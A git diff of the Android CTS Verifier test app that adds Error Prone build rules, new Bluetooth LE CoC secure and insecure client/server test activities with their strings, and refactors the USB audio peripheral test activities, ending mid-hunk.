diff --git a/Android.bp b/Android.bp
new file mode 100644
index 0000000..3eec2e6
--- /dev/null
+++ b/Android.bp
@@ -0,0 +1,51 @@
+java_defaults {
+    name: "cts_error_prone_rules",
+    errorprone: {
+        javacflags: [
+            // Set of error prone rules to ensure code quality
+            // When updating this list, also update error_prone_rules.mk
+            "-Xep:ArrayToString:ERROR",
+            "-Xep:BoxedPrimitiveConstructor:ERROR",
+            "-Xep:ConstantField:ERROR",
+            "-Xep:EqualsIncompatibleType:ERROR",
+            "-Xep:FormatString:ERROR",
+            "-Xep:GetClassOnClass:ERROR",
+            "-Xep:IdentityBinaryExpression:ERROR",
+            "-Xep:JUnit3TestNotRun:ERROR",
+            "-Xep:JUnit4ClassUsedInJUnit3:ERROR",
+            "-Xep:JUnitAmbiguousTestClass:ERROR",
+            "-Xep:MissingFail:ERROR",
+            "-Xep:MissingOverride:ERROR",
+            "-Xep:Overrides:ERROR",
+            "-Xep:ReferenceEquality:ERROR",
+            "-Xep:RemoveUnusedImports:ERROR",
+            "-Xep:ReturnValueIgnored:ERROR",
+            "-Xep:SelfEquals:ERROR",
+            "-Xep:SizeGreaterThanOrEqualsZero:ERROR",
+            "-Xep:TryFailThrowable:ERROR",
+        ],
+    },
+}
+
+java_defaults {
+    name: "cts_error_prone_rules_tests",
+    errorprone: {
+        javacflags: [
+            // Set of error prone rules to ensure code quality of tests
+            // Goal is to eventually merge with cts_error_prone_rules
+            // When updating this list, also update error_prone_rules_tests.mk
+            "-Xep:ArrayToString:ERROR",
+            "-Xep:CollectionIncompatibleType:ERROR",
+            "-Xep:EqualsIncompatibleType:ERROR",
+            "-Xep:EqualsNaN:ERROR",
+            "-Xep:FormatString:ERROR",
+            "-Xep:IdentityBinaryExpression:ERROR",
+            "-Xep:JUnit3TestNotRun:ERROR",
+            "-Xep:JUnit4ClassUsedInJUnit3:ERROR",
+            "-Xep:JUnitAmbiguousTestClass:ERROR",
+            "-Xep:MissingFail:ERROR",
+            "-Xep:SizeGreaterThanOrEqualsZero:ERROR",
+            "-Xep:TryFailThrowable:ERROR",
+        ],
+    },
+}
diff --git a/CtsCoverage.mk b/CtsCoverage.mk
index 8a0eef8..3f54cb3 100644
--- a/CtsCoverage.mk
+++ b/CtsCoverage.mk
@@ -94,7 +94,7 @@
 .PHONY: cts-combined-xml-coverage
 cts-combined-xml-coverage : $(cts-combined-xml-coverage-report)
 
-.PHONY: cts-api-coverage
+.PHONY: cts-coverage-report-all cts-api-coverage
 cts-coverage-report-all: cts-test-coverage cts-verifier-coverage cts-combined-coverage cts-combined-xml-coverage
 
 # Put the test coverage report in the dist dir if "cts-api-coverage" is among the build goals.
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 5f3e99f..4870b15 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -1,12 +1,21 @@
+[Builtin Hooks]
+clang_format = true
+
+[Builtin Hooks Options]
+clang_format = --commit ${PREUPLOAD_COMMIT} --style file --extensions c,h,cc,cpp
+               tests/tests/binder_ndk
+
 [Hook Scripts]
 checkstyle_hook = ${REPO_ROOT}/prebuilts/checkstyle/checkstyle.py --sha ${PREUPLOAD_COMMIT}
                   -fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
                       apps/CtsVerifierUSBCompanion/
+                      libs/
                       tests/autofillservice/
                       tests/tests/animation/
+                      tests/tests/graphics/
+                      tests/tests/hardware/
                       tests/tests/print/
                       tests/tests/text/
-                      tests/tests/graphics/
                       tests/tests/transition/
                       tests/tests/uirendering/
                       tests/tests/view/
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 245fc54..2bbf66c 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -53,7 +53,6 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
 LOCAL_JAVA_LIBRARIES += android.test.base.stubs
 LOCAL_JAVA_LIBRARIES += android.test.mock.stubs
-LOCAL_JAVA_LIBRARIES += bouncycastle
 LOCAL_JAVA_LIBRARIES += voip-common
 
 LOCAL_PACKAGE_NAME := CtsVerifier
@@ -82,6 +81,7 @@
 LOCAL_MODULE := cts-verifier-framework
 LOCAL_AAPT_FLAGS := --auto-add-overlay --extra-packages android.support.v4
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 19
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 LOCAL_SRC_FILES := \
     $(call java-files-in, src/com/android/cts/verifier) \
@@ -89,7 +89,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 \
                                compatibility-common-util-devicesidelib \
-                               compatibility-device-util \
+                               compatibility-device-util
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 7f2ba71..cea0e7c 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="9.0_r6">
+      android:versionName="9.0_r1">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
 
@@ -59,16 +59,12 @@
     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
     <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="com.android.providers.tv.permission.WRITE_EPG_DATA" />
     <uses-permission android:name="android.permission.USE_FINGERPRINT"/>
     <uses-permission android:name="android.permission.USE_BIOMETRIC"/>
     <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
 
-    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.READ_SMS"/>
     <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
     <uses-permission android:name="android.permission.RECEIVE_SMS" />
@@ -77,9 +73,6 @@
     <!-- Needed by UsbTest tapjacking -->
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
 
-    <!-- Needed by the Audio Quality Verifier to store the sound samples that will be mailed. -->
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-
     <!-- Needed for Telecom self-managed ConnectionService tests. -->
     <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
 
@@ -99,7 +92,6 @@
 
         <meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
             android:value="true"/>
-        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".TestListActivity" android:label="@string/app_name" />
 
@@ -496,6 +488,11 @@
         <!-- CTS Verifier BLE Server Encrypted Test Service -->
         <service android:name=".bluetooth.BleEncryptedServerService" />
 
+        <!-- CTS Verifier BLE CoC Client Test Service -->
+        <service android:name=".bluetooth.BleCocClientService" />
+        <!-- CTS Verifier BLE CoC Server Test Service -->
+        <service android:name=".bluetooth.BleCocServerService" />
+
         <!--
              =================================================================================
              ==                     BLE Insecure Client Test Info                           ==
@@ -957,6 +954,234 @@
 
         <!--
              =================================================================================
+             ==                     BLE CoC Insecure Client Test Info                       ==
+             =================================================================================
+        -->
+        <!--
+            CTS Verifier BLE CoC Insecure Client Test Top Screen
+                test category : bt_le_coc
+                test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureClientTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_insecure_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             CTS Verifier BLE CoC Insecure Client Test List Screen
+                 test category : bt_le_coc
+                 test parent : BleInsecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureClientStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocInsecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              =================================================================================
+              ==                     BLE CoC Insecure Server Test Info                       ==
+              =================================================================================
+        -->
+        <!--
+             CTS Verifier BLE Coc Insecure Server Test Top Screen
+                 test category : bt_le_coc
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureServerTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_insecure_server_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              CTS Verifier BLE Coc Insecure Server Test List Screen
+                  test category : bt_le_coc
+                  test parent : BleCocInsecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocInsecureServerStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_server_start_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocInsecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             =================================================================================
+             ==                     BLE CoC Secure Client Test Info                         ==
+             =================================================================================
+        -->
+        <!--
+            CTS Verifier BLE Coc Secure Client Test Top Screen
+                test category : bt_le_coc
+                test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureClientTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_secure_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             CTS Verifier BLE Coc Secure Client Test List Screen
+                 test category : bt_le_coc
+                 test parent : BleSecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureClientStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocSecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              =================================================================================
+              ==                     BLE CoC Secure Server Test Info                         ==
+              =================================================================================
+        -->
+        <!--
+             CTS Verifier BLE Coc Secure Server Test Top Screen
+                 test category : bt_le_coc
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureServerTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_secure_server_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              CTS Verifier BLE Coc Secure Server Test List Screen
+                  test category : bt_le_coc
+                  test parent : BleCocSecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleCocSecureServerStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_coc_server_start_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le_coc" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleCocSecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             =================================================================================
              ==                      BLE Scanner Test Info                            ==
              =================================================================================
         -->
@@ -3099,8 +3324,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.watch:android.hardware.type.television" />
         </activity>
@@ -3112,8 +3336,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencySpeakerActivity"
@@ -3123,8 +3346,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output:android.hardware.usb.host" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyMicActivity"
@@ -3134,9 +3356,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output:android.hardware.usb.host" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyUnprocessedActivity"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 89b4efa..2ae318e 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -183,6 +183,10 @@
         \n\n\"Bluetooth LE Insecure Server Test\" x \"Bluetooth LE Insecure Client Test\"
         \n\n\"Bluetooth LE Secure Client Test\" x \"Bluetooth LE Secure Server Test\"
         \n\n\"Bluetooth LE Secure Server Test\" x \"Bluetooth LE Secure Client Test\"
+        \n\n\"Bluetooth LE CoC Insecure Server Test\" x \"Bluetooth LE CoC Insecure Client Test\"
+        \n\n\"Bluetooth LE CoC Insecure Client Test\" x \"Bluetooth LE CoC Insecure Server Test\"
+        \n\n\"Bluetooth LE CoC Secure Server Test\" x \"Bluetooth LE CoC Secure Client Test\"
+        \n\n\"Bluetooth LE CoC Secure Client Test\" x \"Bluetooth LE CoC Secure Server Test\"
         \n\nThe Device Communication tests require two
         devices to pair and exchange messages. The two devices must be:
         \n\n1. a candidate device implementation running the software build to be tested
@@ -193,6 +197,7 @@
     <string name="bt_device_communication">Device Communication</string>
     <string name="bt_le">Bluetooth LE</string>
     <string name="bt_hid">Bluetooth HID</string>
+    <string name="bt_le_coc">Bluetooth LE CoC</string>
 
     <string name="bt_toggle_bluetooth">Toggle Bluetooth</string>
     <string name="bt_toggle_instructions">Disable and enable Bluetooth to successfully complete this test.</string>
@@ -201,6 +206,65 @@
     <string name="bt_disabling">Disabling Bluetooth...</string>
     <string name="bt_disabling_error">Could not disable Bluetooth...</string>
 
+    <string name="ble_coc_insecure_client_test_list_name">Bluetooth LE CoC Insecure Client Test</string>
+    <string name="ble_coc_insecure_client_test_list_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing. Tap \"Bluetooth LE CoC Insecure Server Test\" on the other device.
+        \n\nTap \"01 Bluetooth LE CoC Client Test\" on this device, then tap \"01 Bluetooth LE CoC Server Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+    <string name="ble_coc_insecure_client_test_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing.
+    </string>
+    <string name="ble_coc_insecure_server_test_list_name">Bluetooth LE CoC Insecure Server Test</string>
+    <string name="ble_coc_insecure_server_test_list_info">
+        This test is mostly automated, but requires some user interaction.
+        Once the list items below have check marks, the test is complete.
+        \n\nTap \"01 Bluetooth LE CoC Server Test\" on this device, then tap \"01 Bluetooth LE CoC Client Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+
+    <string name="ble_coc_secure_client_test_list_name">Bluetooth LE CoC Secure Client Test</string>
+    <string name="ble_coc_secure_client_test_list_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing. Tap \"Bluetooth LE CoC Secure Server Test\" on the other device.
+        \n\nTap \"01 Bluetooth LE CoC Client Test\" on this device, then tap \"01 Bluetooth LE CoC Server Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+    <string name="ble_coc_secure_client_test_info">
+        The Bluetooth LE CoC test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing.
+    </string>
+    <string name="ble_coc_secure_server_test_list_name">Bluetooth LE CoC Secure Server Test</string>
+    <string name="ble_coc_secure_server_test_list_info">
+        This test is mostly automated, but requires some user interaction.
+        Once the list items below have check marks, the test is complete.
+        \n\nTap \"01 Bluetooth LE CoC Server Test\" on this device, then tap \"01 Bluetooth LE CoC Client Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+
+    <!-- BLE CoC client side strings -->
+    <string name="ble_coc_client_test_name">01 Bluetooth LE CoC Client Test</string>
+    <string name="ble_coc_client_le_connect">Bluetooth LE Client Connect</string>
+    <string name="ble_coc_client_get_psm">Get peer PSM value</string>
+    <string name="ble_coc_client_coc_connect">LE CoC client Connect</string>
+    <string name="ble_coc_client_check_connection_type">Check connection type</string>
+    <string name="ble_coc_client_send_data_8bytes">Send 8 bytes</string>
+    <string name="ble_coc_client_receive_data_8bytes">Receive 8 bytes</string>
+    <string name="ble_coc_client_data_exchange">Send and receive large data buffer</string>
+
+    <!-- BLE CoC server side strings -->
+    <string name="ble_coc_server_start_name">01 Bluetooth LE CoC Server Test</string>
+    <string name="ble_coc_server_le_connect">Bluetooth LE Server Connect</string>
+    <string name="ble_coc_server_create_listener">Create LE CoC listener</string>
+    <string name="ble_coc_server_psm_read">Waiting on PSM to be read</string>
+    <string name="ble_coc_server_connection">Waiting on LE CoC connection</string>
+    <string name="ble_coc_server_check_connection_type">Check connection type</string>
+    <string name="ble_coc_server_receive_data_8bytes">Waiting to receive 8 bytes</string>
+    <string name="ble_coc_server_send_data_8bytes">Sending 8 bytes</string>
+    <string name="ble_coc_server_data_exchange">Send and receive large data buffer</string>
+
     <string name="bt_connection_access_server">Connection Access Server</string>
     <string name="bt_connection_access_client">Connection Access Client</string>
     <string name="bt_connection_access_server_info">
@@ -456,6 +520,11 @@
     <string name="ble_secure_server_test_name">Bluetooth LE Secure Server Test</string>
     <string name="ble_insecure_server_test_name">Bluetooth LE Insecure Server Test</string>
 
+    <string name="ble_coc_secure_client_test_name">Bluetooth LE CoC Secure Client Test</string>
+    <string name="ble_coc_insecure_client_test_name">Bluetooth LE CoC Insecure Client Test</string>
+    <string name="ble_coc_secure_server_test_name">Bluetooth LE CoC Secure Server Test</string>
+    <string name="ble_coc_insecure_server_test_name">Bluetooth LE CoC Insecure Server Test</string>
+
     <string name="ble_read_characteristic_nopermission_name">Bluetooth LE Read Characteristic Without Perrmission</string>
     <string name="ble_write_characteristic_nopermission_name">Bluetooth LE Write Characteristic Without Permission</string>
     <string name="ble_read_descriptor_nopermission_name">Bluetooth LE Read Descriptor Without Perrmission</string>
@@ -4043,10 +4112,6 @@
     <string name="uapButtonsBtnDLbl">Button D - voice assist</string>
     <string name="uapButtonsRecognized">Recognized</string>
     <string name="uapButtonsNotRecognized">Not Recognized</string>
-    <string name="uapButtonsDisableAssistantTitle">Disable Google Assistant</string>
-    <string name="uapButtonsDisableAssistant">For this test to succeed it may be necessary
-        to disable the Google Assistant (Settings / Google / Search / Google Assistant Settings /
-        Devices / &lt;device name&gt; / Google Assistant)</string>
 
     <!-- Audio general text -->
     <string name="audio_general_headset_port_exists">Does this device have a headset port?</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
index 140757d..7fdf403 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -44,8 +44,6 @@
     protected AudioDeviceInfo mOutputDevInfo;
     protected AudioDeviceInfo mInputDevInfo;
 
-    protected final boolean mIsMandatedRequired;
-
     // This will be overriden...
     protected  int mSystemSampleRate = 48000;
 
@@ -55,12 +53,9 @@
 
     private TextView mPeripheralNameTx;
 
-    public USBAudioPeripheralActivity(boolean mandatedRequired) {
+    public USBAudioPeripheralActivity() {
         super();
 
-        // determine if to show "UNSUPPORTED" if the mandated peripheral is required.
-        mIsMandatedRequired = mandatedRequired;
-
         mProfileManager.loadProfiles();
     }
 
@@ -104,7 +99,7 @@
                 productName = mInputDevInfo.getProductName().toString();
             }
             String ctrlText;
-            if (mSelectedProfile == null && mIsMandatedRequired) {
+            if (mSelectedProfile == null) {
                 ctrlText = productName + " - UNSUPPORTED";
             } else {
                 ctrlText = productName;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
index ef67708..07a99da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
@@ -32,10 +32,6 @@
 
     private TextView mTestStatusTx;
 
-    public USBAudioPeripheralAttributesActivity() {
-        super(true); // Mandated peripheral is required
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
index de3ce7f..87b2149 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
@@ -16,8 +16,6 @@
 
 package com.android.cts.verifier.audio;
 
-import android.app.AlertDialog;
-import android.content.DialogInterface;
 import android.content.res.Resources;
 import android.graphics.Color;
 import android.os.Bundle;
@@ -47,23 +45,6 @@
     private TextView mBtnBStatusTxt;
     private TextView mBtnCStatusTxt;
 
-    public USBAudioPeripheralButtonsActivity() {
-        super(false); // Mandated peripheral is NOT required
-    }
-
-    private void showDisableAssistantDialog() {
-        AlertDialog.Builder builder =
-                new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert);
-        builder.setTitle(getResources().getString(R.string.uapButtonsDisableAssistantTitle));
-        builder.setMessage(getResources().getString(R.string.uapButtonsDisableAssistant));
-        builder.setPositiveButton(android.R.string.yes,
-            new DialogInterface.OnClickListener() {
-                public void onClick(DialogInterface dialog, int which) {}
-         });
-        builder.setIcon(android.R.drawable.ic_dialog_alert);
-        builder.show();
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -81,12 +62,12 @@
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.usbaudio_buttons_test, R.string.usbaudio_buttons_info, -1);
-
-        showDisableAssistantDialog();
     }
 
     private void showButtonsState() {
-        int ctrlColor = mIsPeripheralAttached ? Color.WHITE : Color.GRAY;
+        int ctrlColor = mIsPeripheralAttached && mSelectedProfile != null
+                ? Color.WHITE
+                : Color.GRAY;
         mBtnALabelTxt.setTextColor(ctrlColor);
         mBtnAStatusTxt.setTextColor(ctrlColor);
         mBtnBLabelTxt.setTextColor(ctrlColor);
@@ -100,13 +81,23 @@
             mHasBtnB ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
         mBtnCStatusTxt.setText(getString(
             mHasBtnC ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
-
-        calculateMatch();
     }
 
     private void calculateMatch() {
-        if (mIsPeripheralAttached) {
-            boolean match = mHasBtnA && mHasBtnB && mHasBtnC;
+        if (mIsPeripheralAttached && mSelectedProfile != null) {
+            ProfileButtonAttributes mButtonAttributes = mSelectedProfile.getButtonAttributes();
+            boolean match = mButtonAttributes != null;
+            boolean interceptedVolume = getResources().getBoolean(Resources.getSystem()
+                .getIdentifier("config_handleVolumeKeysInWindowManager", "bool", "android"));
+            if (match && mButtonAttributes.mHasBtnA != mHasBtnA) {
+                match = false;
+            }
+            if (match && mButtonAttributes.mHasBtnB != mHasBtnB && !interceptedVolume) {
+                match = false;
+            }
+            if (match && mButtonAttributes.mHasBtnC != mHasBtnC && !interceptedVolume) {
+                match = false;
+            }
             Log.i(TAG, "match:" + match);
             getPassButton().setEnabled(match);
         } else {
@@ -116,27 +107,29 @@
 
     @Override
     public boolean onKeyDown(int keyCode, KeyEvent event) {
-        // Log.i(TAG, "onKeyDown(" + keyCode + ")");
-        switch (keyCode) {
-        // Function A control event
-        case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
-            mHasBtnA = true;
-            break;
-
-        // Function B control event
-        case KeyEvent.KEYCODE_VOLUME_UP:
-            mHasBtnB = true;
-            break;
-
-        // Function C control event
-        case KeyEvent.KEYCODE_VOLUME_DOWN:
-            mHasBtnC = true;
-            break;
+        Log.i(TAG, "onKeyDown(" + keyCode + ")");
+        if (mSelectedProfile != null) {
+            switch (keyCode) {
+            // Function A control event
+            case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
+                mHasBtnA = true;
+                break;
+    
+            // Function B control event
+            case KeyEvent.KEYCODE_VOLUME_UP:
+                mHasBtnB = true;
+                break;
+    
+            // Function C control event
+            case KeyEvent.KEYCODE_VOLUME_DOWN:
+                mHasBtnC = true;
+                break;
+            }
+    
+            showButtonsState();
+            calculateMatch();
         }
 
-        showButtonsState();
-        calculateMatch();
-
         return super.onKeyDown(keyCode, event);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
index de9016a..640d489 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
@@ -31,10 +31,6 @@
     private Button mPlayBtn;
     private LocalClickListener mButtonClickListener = new LocalClickListener();
 
-    public USBAudioPeripheralPlayActivity() {
-        super(false); // Mandated peripheral is NOT required
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -56,8 +52,8 @@
     // USBAudioPeripheralActivity
     // Headset not publicly available, violates CTS Verifier additional equipment guidelines.
     public void updateConnectStatus() {
